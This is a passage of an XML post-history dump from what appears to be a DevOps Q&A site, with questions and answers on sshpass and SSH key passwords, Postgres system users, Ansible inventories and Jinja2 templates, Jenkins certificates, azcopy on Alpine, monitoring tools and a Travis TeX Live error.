  <row Id="23203" PostHistoryTypeId="1" PostId="7994" RevisionGUID="9f0fad6d-74ef-4fff-b3ae-26078d1a0b62" CreationDate="2019-05-02T01:24:32.330" UserId="14739" Text="What are the levels of monitoring and their importance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23204" PostHistoryTypeId="3" PostId="7994" RevisionGUID="9f0fad6d-74ef-4fff-b3ae-26078d1a0b62" CreationDate="2019-05-02T01:24:32.330" UserId="14739" Text="&lt;monitoring&gt;&lt;network-monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23205" PostHistoryTypeId="2" PostId="7995" RevisionGUID="53f5849f-0696-436a-9442-7d96d0cc1329" CreationDate="2019-05-02T05:06:24.720" UserId="11598" Text="You can achieve this using below syntax&#xD;&#xA;&#xD;&#xA;    echo your_key_password | ssh -i key-file user@host_IP" ContentLicense="CC BY-SA 4.0" />
  <row Id="23206" PostHistoryTypeId="12" PostId="7995" RevisionGUID="f13932ec-3300-4806-983b-e0027f15171e" CreationDate="2019-05-02T05:13:15.287" UserId="11598" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:11598,&quot;DisplayName&quot;:&quot;Subhash&quot;}]}" />
  <row Id="23207" PostHistoryTypeId="13" PostId="7995" RevisionGUID="33223fd2-749c-4466-b50e-374eb9a9df48" CreationDate="2019-05-02T05:17:29.840" UserId="11598" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:11598,&quot;DisplayName&quot;:&quot;Subhash&quot;}]}" />
  <row Id="23208" PostHistoryTypeId="5" PostId="7995" RevisionGUID="9b8ea044-bd10-495c-98a7-c80f41cbbc41" CreationDate="2019-05-02T05:17:39.050" UserId="11598" Comment="added 646 characters in body" Text="First you need to install [sshpass](http://sourceforge.net/projects/sshpass/).&#xD;&#xA;&#xD;&#xA;- Ubuntu/Debian: `apt-get install sshpass`  &#xD;&#xA;- Fedora/CentOS: `yum install sshpass`  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Example:**&#xD;&#xA;&#xD;&#xA;&lt;!-- language-all: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    sshpass -p &quot;YOUR_PASSWORD&quot; ssh -o StrictHostKeyChecking=no YOUR_USERNAME@SOME_SITE.COM&#xD;&#xA;&#xD;&#xA;**Custom port example:**&#xD;&#xA;&#xD;&#xA;    sshpass -p &quot;YOUR_PASSWORD&quot; ssh -o StrictHostKeyChecking=no YOUR_USERNAME@SOME_SITE.COM:2400&#xD;&#xA;&#xD;&#xA;**Notes:**&#xD;&#xA;&#xD;&#xA;- `sshpass` can also read a password from a file when the `-f` flag is passed.&#xD;&#xA;    - Using `-f` prevents the password from being visible if the `ps` command is executed.&#xD;&#xA;    - The file that the password is stored in should have secure permissions.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23209" PostHistoryTypeId="50" PostId="5104" RevisionGUID="5f607ca5-4975-4836-a086-4bf98924f978" CreationDate="2019-05-02T06:02:15.397" UserId="-1" />
  <row Id="23210" PostHistoryTypeId="50" PostId="4106" RevisionGUID="33e040b0-31e8-4966-bdfc-8c57f5cec5fe" CreationDate="2019-05-02T09:03:00.607" UserId="-1" />
  <row Id="23211" PostHistoryTypeId="4" PostId="6916" RevisionGUID="5e20f79f-00be-494e-ad2f-3fa011f9a521" CreationDate="2019-05-02T09:59:47.383" UserId="13587" Comment="edited title" Text="npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'+ trying to launch docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="23215" PostHistoryTypeId="2" PostId="7997" RevisionGUID="58ab2922-a1f5-417d-9dff-c96af9ee9c91" CreationDate="2019-05-02T11:19:14.620" UserId="13585" Text="```postgres:&#xD;&#xA;    image: healthcheck/postgres:alpine&#xD;&#xA;    environment:&#xD;&#xA;      POSTGRES_USER: postgres&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;   - What is the default user of postgresql?&#xD;&#xA;   - How does hardcoding the postgres user improve security?&#xD;&#xA;   - What special rights does the postgres user have?&#xD;&#xA;   - What is the upside and downside of using an unprivileged user ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23216" PostHistoryTypeId="1" PostId="7997" RevisionGUID="58ab2922-a1f5-417d-9dff-c96af9ee9c91" CreationDate="2019-05-02T11:19:14.620" UserId="13585" Text="is better to use defaults here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23217" PostHistoryTypeId="3" PostId="7997" RevisionGUID="58ab2922-a1f5-417d-9dff-c96af9ee9c91" CreationDate="2019-05-02T11:19:14.620" UserId="13585" Text="&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23218" PostHistoryTypeId="5" PostId="7997" RevisionGUID="87110f8c-4feb-46f8-aa5b-e25cfc3c003e" CreationDate="2019-05-02T12:51:26.213" UserId="13111" Comment="Clearer title + some more sentences for clarity" Text="I am using a postgres docker image configured with the following environment:&#xD;&#xA;```postgres:&#xD;&#xA;    image: healthcheck/postgres:alpine&#xD;&#xA;    environment:&#xD;&#xA;      POSTGRES_USER: postgres&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have the following questions regarding this setup:&#xD;&#xA;&#xD;&#xA;   - What is the default user of postgresql?&#xD;&#xA;   - How does hardcoding the postgres user improve security?&#xD;&#xA;   - What special rights does the postgres user have?&#xD;&#xA;   - What is the upside and downside of using an unprivileged user ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23219" PostHistoryTypeId="4" PostId="7997" RevisionGUID="87110f8c-4feb-46f8-aa5b-e25cfc3c003e" CreationDate="2019-05-02T12:51:26.213" UserId="13111" Comment="Clearer title + some more sentences for clarity" Text="Which system user should I use to run Postgres?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23220" PostHistoryTypeId="24" PostId="7997" RevisionGUID="87110f8c-4feb-46f8-aa5b-e25cfc3c003e" CreationDate="2019-05-02T12:51:26.213" Comment="Proposed by 13111 approved by 13585 edit id of 990" ContentLicense="CC BY-SA 4.0" />
  <row Id="23231" PostHistoryTypeId="50" PostId="4695" RevisionGUID="339908d2-4670-4c7a-b9de-cdde774c59f6" CreationDate="2019-05-02T15:02:45.540" UserId="-1" />
  <row Id="23232" PostHistoryTypeId="5" PostId="7939" RevisionGUID="63bf460b-0d8b-46b7-ae4c-f741e19537a5" CreationDate="2019-05-02T15:15:04.420" UserId="14617" Comment="added 919 characters in body" Text="I am very new to ansible and I think I am lacking something basic that I am not finding in the examples or on github as to the directory structure and its use.&#xD;&#xA;&#xD;&#xA;I have set up my directory structure using ansible best practices document located here:&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#directory-layout&#xD;&#xA;&#xD;&#xA;But the documentation is not clear on how the structure should be used in practice.  I have multiple clients in which the inventories must be kept seperate.  My directory structure is set up as follows:&#xD;&#xA;&#xD;&#xA;    inventory/&#xD;&#xA;       client1/&#xD;&#xA;          group_vars/&#xD;&#xA;            all&#xD;&#xA;            credentials.yml &lt;encrypted&gt;&#xD;&#xA;            router&#xD;&#xA;            switch&#xD;&#xA;            firewall &#xD;&#xA;          host_vars/&#xD;&#xA;            router1&#xD;&#xA;            switch1&#xD;&#xA;            firewall1&#xD;&#xA;          hosts&#xD;&#xA;       client2/&#xD;&#xA;          group_vars/&#xD;&#xA;            all&#xD;&#xA;            credentials.yml &lt;encrypted&gt;&#xD;&#xA;            router&#xD;&#xA;            switch&#xD;&#xA;            firewall &#xD;&#xA;          host_vars/&#xD;&#xA;            router1&#xD;&#xA;            switch1&#xD;&#xA;            firewall1&#xD;&#xA;          hosts&#xD;&#xA;    roles/&#xD;&#xA;      role1/&#xD;&#xA;         tasks/&#xD;&#xA;           main.yml&#xD;&#xA;      role2/&#xD;&#xA;         tasks/&#xD;&#xA;           main.yml&#xD;&#xA;&#xD;&#xA;The hosts files contain routers, switches and firewalls (grouped as such) like this:&#xD;&#xA;&#xD;&#xA;    [router]&#xD;&#xA;    router1 ansible_host=1.2.3.4&#xD;&#xA;    &#xD;&#xA;    [switch]&#xD;&#xA;    switch1 ansible_host=5.6.7.8&#xD;&#xA;    &#xD;&#xA;    [firewall]&#xD;&#xA;    firewall1 ansible_host=9.10.11.12&#xD;&#xA;&#xD;&#xA;The group_vars have router, switch and firewall files with the appropriate variables.  There is a credentials.yml in the ./inventory/client name/group_vars directory that is encrypted and should be loaded for every playbook. I understand precedence and I am not having any trouble there.&#xD;&#xA;&#xD;&#xA;If I run ansible-playbook -i /path to hostfile/ how do I pick the specific host I want to run against?  &#xD;&#xA;`ansible-playbook -i inventory/client1/hosts myplaybook.yml` &lt;--where can I put the specific host that is in the hosts file?  I have tried several different methods and none seem to work.  My guess is that I am running the ansible-playbook command from the wrong directory.&#xD;&#xA;&#xD;&#xA;If I run ansible-playbook in the correct inventory folder (./inventory/client1/) I can pick the host, but how do I point to the playbooks that are in the root folder without backing up directories each time like this:&#xD;&#xA;&#xD;&#xA;    ansible-playbook -i hosttarget ../../myplaybook.yml&#xD;&#xA;&#xD;&#xA;It seems poor form to have to back out of the directory each time just to run a playbook.  If I just put the playbook name, it does not find it so I am thinking that it was not the intention to run ansible-playbook in this way either.&#xD;&#xA;&#xD;&#xA;How can I load additional credentials files or group variables?  It would be nice if there was a way to pull this from the directory that contains the inventory but I can't figure that out.  I was thinking of possibly loading extra_vars in the playbook and setting a value for a variable called &quot;client&quot; in the &quot;all&quot; file, but it seems kludgy and prone to error.  I was hoping that there was some type of automatic pull that can be done like the loading of the group_vars and host_vars but maybe I am missing something.&#xD;&#xA;&#xD;&#xA;    cat ./inventory/client1/all&#xD;&#xA;    client=client1&#xD;&#xA;    &#xD;&#xA;    extra_vars=~/inventory/{{ client }}/credentials.yml&#xD;&#xA;&#xD;&#xA;My thought is that since the inventory layout is shown as Ansible best practices, then maybe I am not fully understanding of how I should be running playbooks.  &#xD;&#xA;&#xD;&#xA;It would seem to me that I should be able to run ansible-playbook in the root directory that contains all my plays and point it to an inventory file easily.  The playbooks should be reusable across all clients with no changes required and there should be an easy way to load variable files without having to specify them each time at the command line.  Ansible already does this very well with group_vars and host_vars so I am thinking that I am just missing something simple.&#xD;&#xA;&#xD;&#xA;I have a workaround for this now using the following command line:&#xD;&#xA;ansible-playbook -i inventory/atcog ecats_l2l.yml --extra-vars @inventory/atcog/group_vars/credentials.yml&#xD;&#xA;&#xD;&#xA;This run a configuration playbook that runs a task that builds a VPN.  This VPN is built for a client called atcog.  I have to add this very long --extra-vars @inventory/atcog/group_vars/credentials.yml to access the credentials file for the client &quot;atcog&quot;.  I also have to manually modify the playbook to have it only run the play on a single host by adding - hosts: atcogfirewall-1.  It seems like there should be a better way.&#xD;&#xA;&#xD;&#xA;So let's say I now want to push this VPN to another client.  I now have to edit the playbook and change - hosts: krifirewall-6, then I need to send this command to make sure the right credential file is used:&#xD;&#xA;ansible-playbook -i inventory/kri ecats_l2l.yml --extra-vars @inventory/kri/group_vars/credentials.yml&#xD;&#xA;&#xD;&#xA;Seems like a lot of places where a typo or forgetting to update a playbook host entry can cause this to run on the wrong device or run with the wrong credentials.  &#xD;&#xA;&#xD;&#xA;So if I add something like &#xD;&#xA;extra_vars=~/inventory/{{ client }}/credentials.yml&#xD;&#xA;in the playbook I can likely mitigate the need to put the --extra-vars in the command line but I can't figure out a way to resolve the whole choosing the individual host issue without manually updating the playbook each time which is just asking for human error.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23233" PostHistoryTypeId="5" PostId="7939" RevisionGUID="25e93fb1-721f-4dc5-a400-688cd10a8214" CreationDate="2019-05-02T15:29:21.490" UserId="14617" Comment="added 247 characters in body" Text="I am very new to ansible and I think I am lacking something basic that I am not finding in the examples or on github as to the directory structure and its use.&#xD;&#xA;&#xD;&#xA;I have set up my directory structure using ansible best practices document located here:&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#directory-layout&#xD;&#xA;&#xD;&#xA;But the documentation is not clear on how the structure should be used in practice.  I have multiple clients in which the inventories must be kept seperate.  My directory structure is set up as follows:&#xD;&#xA;&#xD;&#xA;    inventory/&#xD;&#xA;       client1/&#xD;&#xA;          group_vars/&#xD;&#xA;            all&#xD;&#xA;            credentials.yml &lt;encrypted&gt;&#xD;&#xA;            router&#xD;&#xA;            switch&#xD;&#xA;            firewall &#xD;&#xA;          host_vars/&#xD;&#xA;            router1&#xD;&#xA;            switch1&#xD;&#xA;            firewall1&#xD;&#xA;          hosts&#xD;&#xA;       client2/&#xD;&#xA;          group_vars/&#xD;&#xA;            all&#xD;&#xA;            credentials.yml &lt;encrypted&gt;&#xD;&#xA;            router&#xD;&#xA;            switch&#xD;&#xA;            firewall &#xD;&#xA;          host_vars/&#xD;&#xA;            router1&#xD;&#xA;            switch1&#xD;&#xA;            firewall1&#xD;&#xA;          hosts&#xD;&#xA;    roles/&#xD;&#xA;      role1/&#xD;&#xA;         tasks/&#xD;&#xA;           main.yml&#xD;&#xA;      role2/&#xD;&#xA;         tasks/&#xD;&#xA;           main.yml&#xD;&#xA;&#xD;&#xA;The hosts files contain routers, switches and firewalls (grouped as such) like this:&#xD;&#xA;&#xD;&#xA;    [router]&#xD;&#xA;    router1 ansible_host=1.2.3.4&#xD;&#xA;    &#xD;&#xA;    [switch]&#xD;&#xA;    switch1 ansible_host=5.6.7.8&#xD;&#xA;    &#xD;&#xA;    [firewall]&#xD;&#xA;    firewall1 ansible_host=9.10.11.12&#xD;&#xA;&#xD;&#xA;The group_vars have router, switch and firewall files with the appropriate variables.  There is a credentials.yml in the ./inventory/client name/group_vars directory that is encrypted and should be loaded for every playbook. I understand precedence and I am not having any trouble there.&#xD;&#xA;&#xD;&#xA;If I run ansible-playbook -i /path to hostfile/ how do I pick the specific host I want to run against?  &#xD;&#xA;`ansible-playbook -i inventory/client1/hosts myplaybook.yml` &lt;--where can I put the specific host that is in the hosts file?  I have tried several different methods and none seem to work.  My guess is that I am running the ansible-playbook command from the wrong directory.&#xD;&#xA;&#xD;&#xA;If I run ansible-playbook in the correct inventory folder (./inventory/client1/) I can pick the host, but how do I point to the playbooks that are in the root folder without backing up directories each time like this:&#xD;&#xA;&#xD;&#xA;    ansible-playbook -i hosttarget ../../myplaybook.yml&#xD;&#xA;&#xD;&#xA;It seems poor form to have to back out of the directory each time just to run a playbook.  If I just put the playbook name, it does not find it so I am thinking that it was not the intention to run ansible-playbook in this way either.&#xD;&#xA;&#xD;&#xA;How can I load additional credentials files or group variables?  It would be nice if there was a way to pull this from the directory that contains the inventory but I can't figure that out.  I was thinking of possibly loading extra_vars in the playbook and setting a value for a variable called &quot;client&quot; in the &quot;all&quot; file, but it seems kludgy and prone to error.  I was hoping that there was some type of automatic pull that can be done like the loading of the group_vars and host_vars but maybe I am missing something.&#xD;&#xA;&#xD;&#xA;    cat ./inventory/client1/all&#xD;&#xA;    client=client1&#xD;&#xA;    &#xD;&#xA;    extra_vars=~/inventory/{{ client }}/credentials.yml&#xD;&#xA;&#xD;&#xA;My thought is that since the inventory layout is shown as Ansible best practices, then maybe I am not fully understanding of how I should be running playbooks.  &#xD;&#xA;&#xD;&#xA;It would seem to me that I should be able to run ansible-playbook in the root directory that contains all my plays and point it to an inventory file easily.  The playbooks should be reusable across all clients with no changes required and there should be an easy way to load variable files without having to specify them each time at the command line.  Ansible already does this very well with group_vars and host_vars so I am thinking that I am just missing something simple.&#xD;&#xA;&#xD;&#xA;I have a workaround for this now using the following command line:&#xD;&#xA;ansible-playbook -i inventory/atcog ecats_l2l.yml --extra-vars @inventory/atcog/group_vars/credentials.yml&#xD;&#xA;&#xD;&#xA;This run a configuration playbook that runs a task that builds a VPN.  This VPN is built for a client called atcog.  I have to add this very long --extra-vars @inventory/atcog/group_vars/credentials.yml to access the credentials file for the client &quot;atcog&quot;.  I also have to manually modify the playbook to have it only run the play on a single host by adding - hosts: atcogfirewall-1.  It seems like there should be a better way.&#xD;&#xA;&#xD;&#xA;So let's say I now want to push this VPN to another client.  I now have to edit the playbook and change - hosts: krifirewall-6, then I need to send this command to make sure the right credential file is used:&#xD;&#xA;ansible-playbook -i inventory/kri ecats_l2l.yml --extra-vars @inventory/kri/group_vars/credentials.yml&#xD;&#xA;&#xD;&#xA;Seems like a lot of places where a typo or forgetting to update a playbook host entry can cause this to run on the wrong device or run with the wrong credentials.  &#xD;&#xA;&#xD;&#xA;So if I add something like &#xD;&#xA;extra_vars=~/inventory/{{ client }}/credentials.yml&#xD;&#xA;in the playbook I can likely mitigate the need to put the --extra-vars in the command line but I can't figure out a way to resolve the whole choosing the individual host issue without manually updating the playbook each time which is just asking for human error.&#xD;&#xA;&#xD;&#xA;Here is a screenshot of the layout.  The playbook I am running is in the root directory but is not shown as I could not capture it all on 1 screen.&#xD;&#xA;[![Screenshot of multiple client inventories and tasks][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ecEBC.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="23234" PostHistoryTypeId="2" PostId="8001" RevisionGUID="0184280b-58e4-4b6b-99de-e30c4dd14662" CreationDate="2019-05-02T16:25:13.513" UserId="14748" Text="I have a `hosts` file including the following contents&#xD;&#xA;&#xD;&#xA;    [elasticsearch_nodes]&#xD;&#xA;    host1 os=linux&#xD;&#xA;    host2 os=linux&#xD;&#xA;    host3 os=linux&#xD;&#xA;&#xD;&#xA;In a `.j2` template I want to get the the list of `[elasticsearch_nodes]`&#xD;&#xA;&#xD;&#xA;    {{ some_ansible_magic_here }}&#xD;&#xA;&#xD;&#xA;    # should output &quot;host1&quot;,&quot;host2&quot;,&quot;host3&quot;&#xD;&#xA;&#xD;&#xA;How do I do this?&#xD;&#xA;&#xD;&#xA;I do have this as well to help with the quotes and the commas when I have the list.&#xD;&#xA;&#xD;&#xA;    {% for host in some_sort_of_ansible_magic_to_get_me_that_list_i_need %}&#xD;&#xA;     &quot;{{ host }}&quot;{% if not loop.last %},{% endif %}&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23235" PostHistoryTypeId="1" PostId="8001" RevisionGUID="0184280b-58e4-4b6b-99de-e30c4dd14662" CreationDate="2019-05-02T16:25:13.513" UserId="14748" Text="How do I get the hosts from a specific section of an Ansible `hosts` file in a Jinja2 Template" ContentLicense="CC BY-SA 4.0" />
  <row Id="23236" PostHistoryTypeId="3" PostId="8001" RevisionGUID="0184280b-58e4-4b6b-99de-e30c4dd14662" CreationDate="2019-05-02T16:25:13.513" UserId="14748" Text="&lt;ansible&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23237" PostHistoryTypeId="2" PostId="8002" RevisionGUID="20b95186-bd7f-4f6a-ba9e-96e55bacb247" CreationDate="2019-05-02T17:27:22.443" UserId="10520" Text="I have a stored certificate in Jenkins, and I need to use it in a pipelinebuild job, but the problem is it appears the Pipeline can't use certificates:&#xD;&#xA;&#xD;&#xA;trying to use:&#xD;&#xA;&#xD;&#xA;        environment {&#xD;&#xA;            KEY = credentials('mycert')&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    ERROR: No suitable binding handler could be found for type com.cloudbees.plugins.credentials.impl.CertificateCredentialsImpl. Supported types are StandardUsernamePasswordCredentials,FileCredentials,StringCredentials,SSHUserPrivateKey.&#xD;&#xA;&#xD;&#xA;How do I get around this and use that stored cert in a pipeline? There has to be a way otherwise why would storing certs as credentials even be possible.. would be useless to store something without ever being able to use it." ContentLicense="CC BY-SA 4.0" />
  <row Id="23238" PostHistoryTypeId="1" PostId="8002" RevisionGUID="20b95186-bd7f-4f6a-ba9e-96e55bacb247" CreationDate="2019-05-02T17:27:22.443" UserId="10520" Text="How to use stored certificate in Jenkins declarative pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23239" PostHistoryTypeId="3" PostId="8002" RevisionGUID="20b95186-bd7f-4f6a-ba9e-96e55bacb247" CreationDate="2019-05-02T17:27:22.443" UserId="10520" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23240" PostHistoryTypeId="50" PostId="6747" RevisionGUID="6c15168a-2683-4971-9ab5-28bfef7dd1c5" CreationDate="2019-05-02T18:03:30.640" UserId="-1" />
  <row Id="23241" PostHistoryTypeId="50" PostId="6762" RevisionGUID="61fb4952-96b4-4a82-851c-6c332060eba3" CreationDate="2019-05-02T19:01:45.193" UserId="-1" />
  <row Id="23242" PostHistoryTypeId="2" PostId="8003" RevisionGUID="68f07ca7-ebf5-4756-9443-7b6f1de63a48" CreationDate="2019-05-02T19:34:00.563" UserId="4224" Text="The magic you need is [magic variables][1], in particular the `groups` variable, [which is][2]&#xD;&#xA;&gt; a dictionary/map with all the groups in inventory and each group has the list of hosts that belong to it.&#xD;&#xA;&#xD;&#xA;Then you can use template [filters][3] to format the list: use `map` with `regex_replace` to add the quotes to all list elements and then `join` them into the final result.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{{ groups['elasticsearch_nodes']|map('regex_replace', '(.*)', '&quot;\\1&quot;')|join(',') }}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#accessing-information-about-other-hosts-with-magic-variables&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/latest/reference_appendices/special_variables.html#magic&#xD;&#xA;  [3]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="23248" PostHistoryTypeId="50" PostId="3575" RevisionGUID="2edf22a2-8ee9-4f73-b369-f2f5f18038b9" CreationDate="2019-05-03T00:01:25.233" UserId="-1" />
  <row Id="23252" PostHistoryTypeId="50" PostId="6760" RevisionGUID="30494d18-2ff7-49e2-bd84-4b0298511d00" CreationDate="2019-05-03T05:01:10.187" UserId="-1" />
  <row Id="23253" PostHistoryTypeId="2" PostId="8007" RevisionGUID="2f1668c5-da86-48e5-bd1e-19c4f3192595" CreationDate="2019-05-03T06:22:11.110" UserId="4034" Text="This is a glibc dependency issue on Alpine.&#xD;&#xA;&#xD;&#xA;This `azcopy` binary is compatible with Linux distributions that use [glibc][1], GNU's C standard library. Alpine Linux uses a different libc implementation, [musl-libc][2], which is generally not compatible to glibc. When trying to run non-Alpine-built binaries on Alpine, they'll usually fail to link since the glibc shared object, `libc.so.6`, is missing. `azcopy: not found` is actually the result of the dynamic linker failing to resolve the requires libraries.&#xD;&#xA;&#xD;&#xA;You could verify by running `ldd ./azcopy`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    	/lib64/ld-linux-x86-64.so.2 (0x7fa0bc9c3000)&#xD;&#xA;    	libpthread.so.0 =&gt; /lib64/ld-linux-x86-64.so.2 (0x7fa0bc9c3000)&#xD;&#xA;    	libc.so.6 =&gt; /lib64/ld-linux-x86-64.so.2 (0x7fa0bc9c3000)&#xD;&#xA;&#xD;&#xA;Note the `libc.so.6` dependency. On vanilla Alpine, there's only the musl libc binary, `libc.musl-x86_64.so.1`.&#xD;&#xA;&#xD;&#xA;Fortunately, Alpine provides a light compatibility layer for glibc, through the [libc6-compat][3] package. It installs a `libc.so.6` link which is redirected to the musl shared object, and adds some missing glibc interface functions. This seems to be enough to running azcopy.&#xD;&#xA;&#xD;&#xA;Therefore, for running azcopy on Alpine, just install the `libc6-compat` package, using: &#xD;&#xA;&#xD;&#xA;    apk add libc6-compat&#xD;&#xA;&#xD;&#xA;[1]: https://www.gnu.org/software/libc&#xD;&#xA;[2]: https://www.musl-libc.org/&#xD;&#xA;[3]: https://pkgs.alpinelinux.org/package/v3.9/main/x86/libc6-compat" ContentLicense="CC BY-SA 4.0" />
  <row Id="23256" PostHistoryTypeId="2" PostId="8008" RevisionGUID="7eb8d3c9-8717-4552-9e5b-7d98102f9748" CreationDate="2019-05-03T10:06:22.210" UserId="12524" Text="&gt; What is the default user of postgresql?&#xD;&#xA;&#xD;&#xA;postgres&#xD;&#xA;&#xD;&#xA;&gt; How does hardcoding the postgres user improve security?&#xD;&#xA;&#xD;&#xA;It's not using the root user. &#xD;&#xA;&#xD;&#xA;You c*an* use any account you like, but consistency is a Wonderful Thing, especially when you have lots [and lots] of Postgres clusters to manage. &#xD;&#xA;&#xD;&#xA;&gt; What special rights does the postgres user have?&#xD;&#xA;&#xD;&#xA;Not many. &#xD;&#xA;&#xD;&#xA;It installs itself a hole through the local firewall but, otherwise, it's just another user. &#xD;&#xA;&#xD;&#xA;&gt; What is the upside and downside of using an unprivileged user ?&#xD;&#xA;&#xD;&#xA;You should **never** run applications (or databases) as root (unless they *actually* need to be). &#xD;&#xA;&#xD;&#xA;*Always* keep the biggest and best tools in the toolbox for *yourself*, ready to sort out the mess that Applications (or Users) make.  If you run stuff as root and it decides to do something really stupid to your machine, *you* may not be able to fix it. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23257" PostHistoryTypeId="2" PostId="8009" RevisionGUID="5c8e39a8-fab9-4890-ae05-19ae85dd43e7" CreationDate="2019-05-03T11:00:22.807" UserId="14754" Text="But storeing your password in a command is not the best way - it should be better to remove the password for this case - so you do not reveal your key password&#xD;&#xA;&#xD;&#xA;    $ ssh-keygen -p [-P old_passphrase] [-N new_passphrase] [-f keyfile]&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23258" PostHistoryTypeId="2" PostId="8010" RevisionGUID="034c5835-0d0a-43eb-8fd2-32d1dc6d046c" CreationDate="2019-05-03T11:05:39.893" UserId="14754" Text="You could use [graylog](https://www.graylog.org/)  with the GELF logformat from your apps as central logserver, we do this with highly distributed systems. So you would be able to get errors and troughput metrics as graphs to. &#xD;&#xA;Or if you need more insights [pinpoint](https://github.com/naver/pinpoint)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23259" PostHistoryTypeId="2" PostId="8011" RevisionGUID="d5abc417-2fa1-4a4e-b383-04629190541b" CreationDate="2019-05-03T11:54:02.687" UserId="11598" Text="You can use [Glowroot][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Glowroot is Open source Java Application Monitor. Very easy to use and Very low overhead.&#xD;&#xA;&#xD;&#xA;Steps to run:&#xD;&#xA;&#xD;&#xA; 1. Download and unzip [glowroot-0.13.4-dist.zip][2]&#xD;&#xA; 2. add `-javaagent:path/to/glowroot.jar` to your application's JVM args&#xD;&#xA; 3. Go to http://localhost:4000&#xD;&#xA; 4. and monitor all this&#xD;&#xA;&#xD;&#xA;  [1]: https://glowroot.org/&#xD;&#xA;  [2]: https://github.com/glowroot/glowroot/releases/download/v0.13.4/glowroot-0.13.4-dist.zip&#xD;&#xA;&#xD;&#xA; &#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="23260" PostHistoryTypeId="2" PostId="8012" RevisionGUID="901154a9-0af6-42b7-9b41-0ca4af5f4e11" CreationDate="2019-05-03T13:30:03.603" UserId="14747" Text="I am writing [an R package](https://github.com/alan-turing-institute/PosteriorBootstrap) and using Travis for Continuous Integration. The tests on macOS fail because the system has a newer version of TeXLive and is unable to install the `inconsolata` font to build vignettes.&#xD;&#xA;&#xD;&#xA;The Travis logs show:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sudo tlmgr install inconsolata upquote courier courier-scaled helvetic&#xD;&#xA;tlmgr: The TeX Live versions supported by the repository&#xD;&#xA;http://mirrors.concertpass.com/tex-archive/systems/texlive/tlnet&#xD;&#xA;  (2016--2018)&#xD;&#xA;do not include the version of the local installation&#xD;&#xA;  (2019).&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and further on, R is unable to build the vignettes:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;* checking PDF version of manual ... WARNING&#xD;&#xA;LaTeX errors when creating PDF version.&#xD;&#xA;This typically indicates Rd problems.&#xD;&#xA;LaTeX errors found:&#xD;&#xA;! LaTeX Error: File `inconsolata.sty' not found.&#xD;&#xA;Type X to quit or &lt;RETURN&gt; to proceed,&#xD;&#xA;or enter new name. (Default extension: sty)&#xD;&#xA;! Emergency stop.&#xD;&#xA;&lt;read *&gt; &#xD;&#xA;         &#xD;&#xA;l.276 ^^M&#xD;&#xA;         &#xD;&#xA;!  ==&gt; Fatal error occurred, no output PDF file produced!&#xD;&#xA;* checking PDF version of manual without hyperrefs or index ... ERROR&#xD;&#xA;* DONE&#xD;&#xA;Status: 1 ERROR, 1 WARNING&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This failure throws a warning for R, which is upgraded to an error because I have `warnings_are_errors: true` in `.travis.yml`.&#xD;&#xA;&#xD;&#xA;I tried [this StackOverflow answer](https://stackoverflow.com/questions/34524357/inconsolata-missing-to-build-r-vignette/50243939#50243939) of reinstalling `inconsolata` in `.travis.yml`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;before_install:&#xD;&#xA;  - if [[ &quot;$TRAVIS_OS_NAME&quot; == &quot;osx&quot; ]]; then&#xD;&#xA;      brew cask install basictex;&#xD;&#xA;      sudo tlmgr update --self;&#xD;&#xA;      sudo tlmgr update --all;&#xD;&#xA;      sudo tlmgr install titling framed inconsolata;&#xD;&#xA;      sudo tlmgr install collection-fontsrecommended;&#xD;&#xA;    fi&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and [this TexStackExchange 